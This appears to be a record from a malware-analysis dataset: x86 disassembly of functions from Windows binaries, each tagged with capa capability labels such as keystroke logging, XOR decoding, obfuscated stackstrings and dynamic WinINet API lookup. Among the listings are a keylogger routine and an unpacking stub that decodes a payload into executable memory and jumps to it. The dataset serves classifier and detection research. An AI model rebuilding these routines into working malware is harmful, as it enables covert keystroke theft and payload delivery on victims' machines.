joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45e48c
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
mov byte [ebp - 1], cl
mov esi, edx
mov ebx, eax
cmp bl, 0x90
jne 0x45e4e1
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp al, 1
sbb ebx, ebx
inc ebx
lea eax, [ebp - 0x102]
push eax
call sub.user32.dll_GetKeyboardState
test bl, bl
je 0x45e4cc
and byte [ebp - 0x72], 0xfe
jmp 0x45e4d0
or byte [ebp - 0x72], 1
lea eax, [ebp - 0x102]
push eax
call sub.user32.dll_SetKeyboardState
jmp 0x45e567
push 0
xor eax, eax
mov al, bl
push eax
call sub.user32.dll_MapVirtualKeyA
and al, 0xff
mov byte [ebp - 2], al
test si, si
jbe 0x45e567
mov eax, ebx
and eax, 0xff
bt dword [0x46d7a4], eax
jae 0x45e537
mov eax, dword [ebp + 8]
push eax
mov ecx, 1
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.0045e440
pop ecx
cmp byte [ebp - 1], 0
je 0x45e562
mov eax, dword [ebp + 8]
push eax
mov ecx, 3
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.0045e440
pop ecx
jmp 0x45e562
mov eax, dword [ebp + 8]
push eax
xor ecx, ecx
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.0045e440
pop ecx
cmp byte [ebp - 1], 0
je 0x45e562
mov eax, dword [ebp + 8]
push eax
mov ecx, 2
mov dl, byte [ebp - 2]
mov eax, ebx
call fcn.0045e440
pop ecx
dec si
jne 0x45e4f7
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x45e570
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, eax
push 0
xor eax, eax
mov al, bl
push eax
call sub.user32.dll_MapVirtualKeyA
and al, 0xff
mov edx, ebx
and edx, 0xff
bt dword [0x46d7a4], edx
jae 0x45e5a8
mov edx, dword [ebp + 8]
push edx
xor ecx, ecx
mov edx, eax
mov eax, ebx
call fcn.0045e440
pop ecx
pop ebx
pop ebp
ret
mov edx, dword [ebp + 8]
push edx
mov ecx, 2
mov edx, eax
mov eax, ebx
call fcn.0045e440
pop ecx
pop ebx
pop ebp
ret
Function at 0x593ca399
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x593ca3a8
pop dword [ebp - 0x40]
mov eax, 0x593ca3a8
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x46e12195
add dword [ebp - 0x50], 0x77123b6
mov dword [ebp - 0x4c], 0x8088e2bf
sub dword [ebp - 0x4c], 0x4e55967a
mov dword [ebp - 0x48], 0xaef63789
add dword [ebp - 0x48], 0x9d560ca5
mov dword [ebp - 0x44], 0xe3d835b6
add dword [ebp - 0x44], 0x1c27ca4a
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x6803ee0e
sub dword [ebp - 0x50], 0xf39184b8
mov dword [ebp - 0x4c], 0xcf073dd4
sub dword [ebp - 0x4c], 0x8d9adc5f
mov dword [ebp - 0x48], 0xe7f7278a
sub dword [ebp - 0x48], 0x8487bb1e
mov dword [ebp - 0x44], 0xefcc676d
add dword [ebp - 0x44], 0x10339893
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x3f8529ca
sub eax, 0xe64a194e
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x35ff4
push 0
call eax
mov ecx, 0x3cfa
mov ebx, eax
mov esi, 0x3c2abf6
add esi, 0x557b740a
add esi, dword [ebp - 0x40]
mov edi, 0x30598245
add edi, 0x90403d89
mov dword [ebp - 0xc], 0x67c7274b
mov edx, dword [esi]
xor dword [ebp - 8], ebx
sub edx, edi
sub dword [ebp - 0x3c], 0xad677a75
mov dword [ebx], edx
mov dword [ebp - 0x1c], 0x80dc1495
add ebx, 0x178445fc
sub ebx, 0x178445f8
add esi, 0x89506a30
sub esi, 0x89506a2c
loop 0x593ca4ba
add eax, 0xe6bb
mov ebx, eax
add eax, 5
mov ecx, 0x502c0a9c
sub ecx, 0xf6f10a9c
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x593d249a
Capabilities:
Get graphical window text

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov edi, ecx
call dword [sym.imp.vsansi.dll_GetWindowTextLengthW]
mov esi, eax
lea eax, [esi + 1]
push eax
push esi
mov ecx, edi
call fcn.593d1d54
push eax
push dword [esp + 0x14]
call dword [sym.imp.vsansi.dll_GetWindowTextW]
push 0xffffffffffffffff
mov ecx, edi
call fcn.593d1ef0
pop edi
mov eax, esi
pop esi
ret 4

Function at 0x593d339b
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x94
push esi
mov esi, ecx
call fcn.593d3384
and byte [esi + 0xc], 0
mov eax, 0x593b0000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x1c]
push 0
push eax
mov dword [esi], 0x3c
call sub.MSVCR70.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x1c], 0x94
call dword [sym.imp.kernel32.dll_GetVersionExA]
cmp dword [ebp - 0xc], 2
jne 0x593d33f5
cmp dword [ebp - 0x18], 5
jb 0x593d340d
jmp 0x593d3409
cmp dword [ebp - 0xc], 1
jne 0x593d340d
cmp dword [ebp - 0x18], 4
ja 0x593d3409
jne 0x593d340d
cmp dword [ebp - 0x14], 0
jbe 0x593d340d
mov byte [esi + 0xc], 1
lea eax, [esi + 0x18]
push eax
mov dword [esi + 0x10], 0x700
mov dword [esi + 0x14], 0x593d5070
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
add ebp, 0x78
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10010388
Capabilities:
Enumerate pe sections

Disassembly:
xor ebx, ebx
cmp eax, ebx
je 0x1001098f
mov edi, dword [eax + 0x3c]
add edi, eax
movzx eax, word [edi + 0x14]
lea esi, [eax + edi + 0x18]
mov dword [ebp - 0x44], esi
call fcn.10010196
push edi
lds esp, [edx + 0x47b70f4b]
push es
lea eax, [eax + eax*4]
shl eax, 3
sub eax, dword [ebp + 0x10]
add eax, esi
mov dword [ebp - 0xb4], eax
mov dword [ebp - 8], eax
call fcn.10010196

Function at 0x10010876
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x1001086d
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x1001088b
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
add al, 1
add byte [eax], al
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x100108e9
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x100108d0
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x100108d9
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x100108e3
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x100108c5
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe fcn.1001084f
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x10010936
dec eax
je 0x1001092d
sub eax, 3
je 0x10010924
mov dword [ebp - 4], 0x40
jmp 0x10010953
mov dword [ebp - 4], 4
jmp 0x10010939
mov dword [ebp - 4], 0x20
jmp 0x10010939
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x10010985
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x10010905
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.10010196
and dword [edx + 0x75ff2f6b], edx
adc al, 0x6a
add dword [esi - 1], edx
xlatb
mov eax, esi
jmp 0x10010991
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10010a5d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [esp + edi*8 - 1], edi
inc dword [eax + eax]
add byte [eax], al
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
cld
invalid
push ebx
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
add byte [eax], al
add byte [eax - 0x3c35b], al
inc dword [eax]
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.100101a6
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1001015b
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.100101a6
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1001015b
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.10010196
aas
jnp 0x10010bd7
test dword [eax], ebp
cld
invalid
jo 0xffbd8b2
inc dword [eax]
and byte [ebp - 0x533], 0
mov byte [ebp - 0x532], 0x68
and byte [ebp - 0x531], 0
mov byte [ebp - 0x530], 0xd4
mov byte [ebp - 0x52f], 0xfb
mov byte [ebp - 0x52e], 0xf8
mov byte [ebp - 0x52d], 0xe4
mov byte [ebp - 0x52c], 0xf2
mov byte [ebp - 0x52b], 0xdf
mov byte [ebp - 0x52a], 0xf6
mov byte [ebp - 0x529], 0xf9
mov byte [ebp - 0x528], 0xf3
mov byte [ebp - 0x527], 0xfb
mov byte [ebp - 0x526], 0xf2
mov byte [ebp - 0x525], 0x97
lea eax, [ebp - 0x534]
push eax
call fcn.100101a6
cmc
invalid
call [ecx + 0x50]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1001015b
add esp, 0xc
mov dword [ebp - 0x680], eax
call fcn.10010196
cmp esp, dword [ebx + 8]
sbb al, 0x80
movsd dword es:[edi], dword [esi]
pushfd
stc
invalid
Function at 0x10010a84
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [esp + edi*8 - 1], edi
inc dword [eax + eax]
add byte [eax], al
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
cld
invalid
push ebx
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
add byte [eax], al
add byte [eax - 0x3c35b], al
inc dword [eax]
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.100101a6
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1001015b
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.100101a6
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1001015b
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.10010196
aas
jnp 0x10010bd7
test dword [eax], ebp
cld
invalid
jo 0xffbd8b2
inc dword [eax]
and byte [ebp - 0x533], 0
mov byte [ebp - 0x532], 0x68
and byte [ebp - 0x531], 0
mov byte [ebp - 0x530], 0xd4
mov byte [ebp - 0x52f], 0xfb
mov byte [ebp - 0x52e], 0xf8
mov byte [ebp - 0x52d], 0xe4
mov byte [ebp - 0x52c], 0xf2
mov byte [ebp - 0x52b], 0xdf
mov byte [ebp - 0x52a], 0xf6
mov byte [ebp - 0x529], 0xf9
mov byte [ebp - 0x528], 0xf3
mov byte [ebp - 0x527], 0xfb
mov byte [ebp - 0x526], 0xf2
mov byte [ebp - 0x525], 0x97
lea eax, [ebp - 0x534]
push eax
call fcn.100101a6
cmc
invalid
call [ecx + 0x50]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1001015b
add esp, 0xc
mov dword [ebp - 0x680], eax
call fcn.10010196
cmp esp, dword [ebx + 8]
sbb al, 0x80
movsd dword es:[edi], dword [esi]
pushfd
stc
invalid
Function at 0x10010d2e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
and byte [ebp - 0x523], 0
mov byte [ebp - 0x522], 0x15
and byte [ebp - 0x521], 0
mov byte [ebp - 0x520], 0xa2
mov byte [ebp - 0x51f], 0x8f
mov byte [ebp - 0x51e], 0x8b
mov byte [ebp - 0x51d], 0x9a
mov byte [ebp - 0x51c], 0xac
mov byte [ebp - 0x51b], 0x98
mov byte [ebp - 0x51a], 0x8f
mov byte [ebp - 0x519], 0x8f
mov byte [ebp - 0x518], 0xea
lea eax, [ebp - 0x524]
push eax
call fcn.100101a6
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1001015b
add esp, 0xc
mov dword [ebp - 0x39c], eax
call fcn.10010196
test dword [eax], ecx
in al, dx
aas
and byte [ebp - 0x514], 0
and byte [ebp - 0x513], 0
mov byte [ebp - 0x512], 0xe3
and byte [ebp - 0x511], 0
mov byte [ebp - 0x510], 0x5b
mov byte [ebp - 0x50f], 0x79
mov byte [ebp - 0x50e], 0x68
mov byte [ebp - 0x50d], 0x5a
mov byte [ebp - 0x50c], 0x75
mov byte [ebp - 0x50b], 0x70
mov byte [ebp - 0x50a], 0x79
mov byte [ebp - 0x509], 0x4f
mov byte [ebp - 0x508], 0x75
mov byte [ebp - 0x507], 0x66
mov byte [ebp - 0x506], 0x79
mov byte [ebp - 0x505], 0x1c
lea eax, [ebp - 0x514]
push eax
call fcn.100101a6
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1001015b
add esp, 0xc
mov dword [ebp - 0x33c], eax
call fcn.10010196
xor al, 0x89
inc ebp
jle 0x10010eb1
add al, 1
test dword [ecx + edi*8 - 1], ecx
push dword [ebx]

Function at 0x10010e4b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [eax], al
lea eax, [ebp - 0x334]
push eax
push dword [ebp + 8]
call dword [ebp - 0x538]
invalid
invalid

Function at 0x100110ea
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [edx + 0x21fffffc], ebx
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
invalid
push dword [eax]
mov byte [ebp - 0x360], 0x38
cmp dh, al
test dword [ecx + 0x11fffffc], esp
Function at 0x10011e84
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [ebx]
jne 0x10011f20
and byte [ebp - 0x7ac], 0
and byte [ebp - 0x7ab], 0
mov byte [ebp - 0x7aa], 0xed
and byte [ebp - 0x7a9], 0
mov byte [ebp - 0x7a8], 0x4e
mov byte [ebp - 0x7a7], 0x55
mov byte [ebp - 0x7a6], 0x56
mov byte [ebp - 0x7a5], 0x7e
mov byte [ebp - 0x7a4], 0x21
mov byte [ebp - 0x7a3], 0x20
mov byte [ebp - 0x7a2], 0x3c
mov byte [ebp - 0x7a1], 0x76
mov byte [ebp - 0x7a0], 0x7e
mov byte [ebp - 0x79f], 0x7e
mov byte [ebp - 0x79e], 0x12
push 0xb
lea eax, [ebp - 0x7ac]
push eax
call fcn.100101a6
pop ecx
push eax
mov eax, dword [ebp - 0x338]
lea eax, [ebp + eax - 0x230]
push eax
call fcn.10010107
add esp, 0xc
jmp 0x1001210e
cmp dword [ebp - 0x6fc], 4
jne 0x10011fca
and byte [ebp - 0x7bc], 0
and byte [ebp - 0x7bb], 0
mov byte [ebp - 0x7ba], 2
and byte [ebp - 0x7b9], 0
mov byte [ebp - 0x7b8], 0xa1
mov byte [ebp - 0x7b7], 0xb2
mov byte [ebp - 0x7b6], 0xb1
mov byte [ebp - 0x7b5], 0xb8
mov byte [ebp - 0x7b4], 0xcf
mov byte [ebp - 0x7b3], 0xce
mov byte [ebp - 0x7b2], 0xd3
mov byte [ebp - 0x7b1], 0x99
mov byte [ebp - 0x7b0], 0x91
mov byte [ebp - 0x7af], 0x91
mov byte [ebp - 0x7ae], 0xfd
call fcn.10010196
invalid
cmp dword [ebp - 0x6fc], 5
jne 0x1001206b
and byte [ebp - 0x7cc], 0
and byte [ebp - 0x7cb], 0
mov byte [ebp - 0x7ca], 0x3f
and byte [ebp - 0x7c9], 0
mov byte [ebp - 0x7c8], 0x9c
mov byte [ebp - 0x7c7], 0x90
mov byte [ebp - 0x7c6], 0x93
mov byte [ebp - 0x7c5], 0x81
mov byte [ebp - 0x7c4], 0x90
mov byte [ebp - 0x7c3], 0xac
mov byte [ebp - 0x7c2], 0xee
mov byte [ebp - 0x7c1], 0xa4
mov byte [ebp - 0x7c0], 0xac
invalid

Function at 0x1001236b
Capabilities:
Write file on windows

Disassembly:
cmp al, 0x8b
push esp
pop es
js 0x10012374
xlatb
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, edi
sbb byte [ebx - 0x20fcdfa6], cl
call fcn.10010196
sar cl, 1
invalid
Function at 0x4021f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffe0
sub esp, 0x58
mov dword [esp + 8], 0x41b58ab3
lea eax, [esp + 8]
shr eax, 3
mov dword [esp + 0xc], str.1_16_20_20_sInternetCloseHandle
mov dword [esp + 0x10], fcn.004021f0
push esi
mov dword [eax + 0x30000000], 0xf8f8f1f1
push edi
mov dword [eax + 0x30000004], 0xf3f3f304
xor edi, edi
mov byte [eax + 0x30000008], 0xf3
call fcn.0040ce90
mov ecx, eax
call fcn.0040cb60
mov dword [esp + 0x5c], eax
test eax, eax
je 0x402378
lea esi, [esp + 0x20]
shr esi, 3
add esi, 0x30000000
push 2
push esi
call sym.Uninstaller.exe___asan_set_shadow_00
lea eax, [esp + 0x29]
mov byte [esi + 2], 4
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x38]
mov dword [esp + 0x2c], 0x65746e49
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x37]
mov dword [esp + 0x3c], 0x6e614865
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x45]
mov dword [esp + 0x38], 0x74656e72
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x4b]
mov dword [esp + 0x48], 0x656c64
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x3c]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x45]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x48]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x55]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x5b]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x60]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x56]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x5e]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x67]
push eax
call sym.Uninstaller.exe___asan_store1
add esp, 0x40
mov dword [esp + 0x28], 0x736f6c43
lea eax, [esp + 0x23]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x2e]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x36]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x3e]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x39]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x3c]
push eax
call sym.Uninstaller.exe___asan_store1
add esp, 0x18
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x60]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402378
push dword [ebp + 8]
call eax
mov edi, eax
lea esi, [esp + 0x20]
shr esi, 3
add esi, 0x30000000
push 2
push esi
call sym.Uninstaller.exe___asan_set_shadow_f8
lea eax, [esp + 0x18]
mov byte [esi + 2], 0xf8
shr eax, 3
add eax, 0x30000000
mov dword [esp + 0x18], 0x45e0360e
push 9
push eax
call sym.Uninstaller.exe___asan_set_shadow_00
add esp, 0x10
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402a90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffe0
sub esp, 0x58
mov dword [esp + 8], 0x41b58ab3
lea eax, [esp + 8]
shr eax, 3
mov dword [esp + 0xc], str.1_16_21_21_sInternetQueryOptionW1_16_19_19_sInternetSetOptionW
mov dword [esp + 0x10], fcn.00402a90
push esi
mov dword [eax + 0x30000000], 0xf8f8f1f1
push edi
mov dword [eax + 0x30000004], 0xf3f3f305
xor edi, edi
mov byte [eax + 0x30000008], 0xf3
call fcn.0040ce90
mov ecx, eax
call fcn.0040cb60
mov dword [esp + 0x5c], eax
test eax, eax
je 0x402c45
lea esi, [esp + 0x20]
shr esi, 3
add esi, 0x30000000
push 2
push esi
call sym.Uninstaller.exe___asan_set_shadow_00
lea eax, [esp + 0x2d]
mov byte [esi + 2], 5
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x32]
mov dword [esp + 0x2f], 0x656e7265
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x39]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x34]
mov dword [esp + 0x3d], 0x79726575
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x44]
mov word [esp + 0x38], 0x6e49
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x3d]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x4b]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x47]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x57]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x5e]
mov word [esp + 0x5b], 0x6974
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x60]
mov word [esp + 0x62], 0x576e
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x5e]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x66]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x6f]
mov word [esp + 0x69], 0x704f
push eax
call sym.Uninstaller.exe___asan_store1
add esp, 0x40
lea eax, [esp + 0x27]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x28]
mov word [esp + 0x2b], 0x5174
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x2a]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x39]
mov byte [esp + 0x2e], 0x74
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x44]
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x3c]
mov byte [esp + 0x48], 0
push eax
call sym.Uninstaller.exe___asan_store1
lea eax, [esp + 0x49]
push eax
call sym.Uninstaller.exe___asan_store1
add esp, 0x1c
lea eax, [esp + 0x20]
mov byte [esp + 0x31], 0x6f
push eax
push dword [esp + 0x60]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402c45
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
mov edi, eax
lea esi, [esp + 0x20]
shr esi, 3
add esi, 0x30000000
push 2
push esi
call sym.Uninstaller.exe___asan_set_shadow_f8
lea eax, [esp + 0x18]
mov byte [esi + 2], 0xf8
shr eax, 3
add eax, 0x30000000
mov dword [esp + 0x18], 0x45e0360e
push 9
push eax
call sym.Uninstaller.exe___asan_set_shadow_00
add esp, 0x10
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret